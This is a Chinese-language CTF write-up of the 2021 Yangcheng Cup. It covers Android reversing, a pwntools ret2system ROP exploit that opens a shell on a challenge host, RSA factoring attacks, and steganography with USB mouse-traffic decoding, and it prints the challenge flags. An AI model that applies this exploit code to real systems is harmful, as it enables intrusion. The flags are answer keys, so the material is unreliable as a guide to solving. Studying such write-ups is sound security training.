4

2021羊城杯网络安全大赛

 2 years ago
source link: https://lazzzaro.github.io/2021/09/12/match-2021%E7%BE%8A%E5%9F%8E%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

大赛由中共广州市委网络安全和信息化委员会办公室作为指导单位,广州市网络安全产业促进会主办,广东外语外贸大学、深信服科技股份有限公司承办,广州市信息安全测评中心、广州互联网协会协办。

大赛以“网络安全为人民、网络安全靠人民”为主题,旨在通过竞赛的方式提高参赛选手攻防兼备的网络安全实践技能,实现以赛促学、以赛会友,加强不同院校及单位间的技术交流。

Rank: 企事业单位组12


Reverse

Ez_android

Just an easy sign in!

jadx查看MainActivity类。

onClink函数先验证username和password,在资源文件查到username为admin,加密处理后的password值为c232666f1410b3f5010dc51cec341f58,又getEncodeStr函数对password的md5结果每一byte做了减1处理,还原得到c33367701511b4f6020ec61ded352059,查到对应的原值为654321

接下来执行getKeyAndRedirect函数,传入password值654321,进入socket交互(nc 139.224.191.201 20080),输入password,拿到key字符串:

key=TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom

getKeyAndRedirect函数中最后将key传递到CheckFlagActivity,在CheckFlagActivitycheckFlag函数调用EncodeUtils类实现base64编码,key为码表,encodeFlag为编码结果:

encodeFlag=3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P

跑更换码表base64解码算法还原flag:SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}

BabyRop

system函数和/cin/sh,简单ROP,缺少的/bin/sh\x00可以用sh\x00代替。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = remote('192.168.42.14', 11000)
elf = ELF('./BabyRop')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

sh_addr = 0x0804c029
system_addr = 0x80490a0
pay = 'A' * (0x28 + 4) + p32(system_addr) + p32(0) + p32(sh_addr)
pause()
sl(pay)
p.interactive()

Crypto

RingRingRing

ring a ring a ring ring a ring a ring

nc测试md5-PoW之后,需要输入100组a,b,c,d,e,使得 a4+b4+c4+d4=e2a4+b4+c4+d4=e2,且都不能为0。

构造 14+14+14+14=2214+14+14+14=22,再按倍数做乘积 k4+k4+k4+k4=(2k2)2,k∈[1,100]k4+k4+k4+k4=(2k2)2,k∈[1,100],得到100组用例。

from pwn import *
from parse import *
from pwnlib.util.iters import bruteforce
import string
from hashlib import md5

def brute_force(prefix,s):
return bruteforce(lambda x:md5(x+prefix).hexdigest()[0:5]==s,string.ascii_letters+string.digits,length=4,method='fixed')

r=remote('192.168.42.14',2378)
prefix, s = parse("Please find a string that md5(str + {})[0:5] == {}",r.recvline())
r.sendlineafter('[>] Give me xxxxx: ',brute_force(prefix,s))

r.recvline()
r.recvline()
for i in range(1,101):
r.sendlineafter('[>] a: ',str(i))
r.sendlineafter('[>] b: ',str(i))
r.sendlineafter('[>] c: ',str(i))
r.sendlineafter('[>] d: ',str(i))
r.sendlineafter('[>] e: ',str(2*i*i))
print(r.recvline())
print(r.recvline())
#GWHT{a_funny_equation}

Easy_Rsa

你了解RSA吗???

from Crypto.Util.number import *
from flag import flag
import gmpy2

def gen_prime(nbits, gamma):
g = getPrime(int(nbits * gamma))
alpha = 0.5 - gamma
while True:
a = getRandomNBitInteger(int(alpha * nbits))
p = 2 * g * a + 1
if isPrime(p):
b = getRandomNBitInteger(int(alpha * nbits))
q = 2 * g * b + 1
h = 2 * g * a * b + a + b
while not isPrime(q) or isPrime(h) or gmpy2.gcd(a, b) != 1:
b = getRandomNBitInteger(int(alpha * nbits))
q = 2 * g * b + 1
return p, q

def encrypt(nbits, gamma):
p, q = gen_prime(nbits, gamma)
n = p * q
e = getPrime(16)
while gmpy2.gcd(e, gmpy2.lcm(p-1,q-1)) != 1:
e = getPrime(16)
m = bytes_to_long(flag)
c = pow(m, e, n)
return n, e, c

n, e, c = encrypt(1024, 0.48)
print 'n =', n
print 'e =', e
print 'c =', c

# n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039
# e = 58337
# c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668

共素数攻击(common prime RSA)。

给出 N=pq,p−1=2ga,q−1=2gb,h=2gab+a+bN=pq,p−1=2ga,q−1=2gb,h=2gab+a+b,有 N−1=2ghN−1=2gh,

所以 xN−1(modp)xN−1(modp) 至多有 aa 个值,用 x→xN−1+3x→xN−1+3 代替 Pollard’s rho算法中迭代函数,能在 O(a−−√)=O(N14−γ2)O(a)=O(N14−γ2) 下分解 NN。

common prime RSA在 gg 过小时, gg 也能轻易通过分解 N−1N−1 来解出。

from Crypto.Util.number import *
import gmpy2

def f(x, n):
return (pow(x, n - 1, n) + 3) % n

def rho(n):
i = 1
while True:
a = getRandomRange(2, n)
b = f(a, n)
j = 1
while True:
p = GCD(abs(a - b), n)
print('{} in {} circle'.format(j, i))
if p == n:
break
elif p > 1:
return (p, n // p)
else:
a = f(a, n)
b = f(f(b, n), n)
j += 1
i += 1

n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039
e = 58337
c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668

p, q = rho(n)
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
#b'SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}'

Bigrsa

BigRSA!

from Crypto.Util.number import *
from flag import *

n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n1)
c = pow(c, e, n2)

print("c = %d" % c)

# output
# c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264

尝试发现 gcd(n1,n2)=pgcd(n1,n2)=p,分别求出 q1=n1/p,q2=n2/pq1=n1/p,q2=n2/p,再用常规解密方法两步求出 mm:

import gmpy2
n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264

p = gmpy2.gcd(n1,n2)
q1 = n1 // p
q2 = n2 // p
d1 = gmpy2.invert(e, (p-1)*(q1-1))
d2 = gmpy2.invert(e, (p-1)*(q2-1))
c = pow(c, d2, n2)
m = pow(c, d1, n1)
print(bytes.fromhex(hex(m)[2:]))
#b'SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}'

简简单单猜数字01-30 SangFor{md5(---…..)}(32位md5)

12张图分别得到关键数字:28-08-30-07-04-20-02-17-23-01-12-19,md5得flag:SangFor{d93b7da38d89c19f481e710ef1b3558b}

Misc520

有一天,zip爱上了pcap,zip为了能与pcap创造更多机会,不断地将自己的能力表现出来。可是,LSBSteg却突然杀了出来,将pcap吞并于png中,不放出来。zip看到了png,多喝热水少做梦。zip异常的愤怒,不断地用自己的能力去报复png,不让png逃走。至今,zip仍未释怀。。。

拿到520.zip压缩包,循环嵌套着520层zip和story文件,脚本解压出所有文件(每次解压将story文件重命名防覆盖):

import zipfile 
import os

now = "520.zip"

while 1:
print("~~"+now)
zfile = zipfile.ZipFile(now)
zfile.extractall(members=zfile.namelist())
zfile.close()
try:
os.remove(now)
except OSError as e:
print(e)
names = os.listdir()
os.rename('story','story'+now.split('.')[0])
print(names)
for name in names:
if name.endswith('.zip') and name != now:
now=name
break
print('~~~~'+now)

解出最里层是一张flag.png图片,按大小排序目录下所有文件,发现story150内容与其他不同:

这都被你发现了?
我这故事不错吧,嘻嘻嘻
那就把flag给你吧
oh,不,还有一半藏在了pcap的心里,快去找找吧
左心房右心房,扑通扑通的心,咿呀咿呀的❤
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,

得到数字 72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,

根据提示,zsteg查看png图片存在lsb隐写,按bgr方式提取出一个zip加密压缩包,爆破得密码12345解出flag.pcap。

wireshark查看发现全为USB流量,tshark提取:

tshark -r flag.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

将鼠标数据还原鼠标移动轨迹:

f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==8:
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')

f.close()

最后gnuplot做图:

gnuplot> plot "xy.txt"

得到后半部分数字:130, 63, 111, 94, 51, 134, 119, 146

结合flag格式,推知为变异凯撒移位解密,解出:

[71, 87, 72, 84, 123, 87, 51, 108, 67, 111, 109, 51, 95, 116, 48, 95, 77, 33, 115, 99, 125]

GWHT{W3lCom3_t0_M!sc},按群提示换为Sangfor{W3lCom3_t0_M!sc}


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK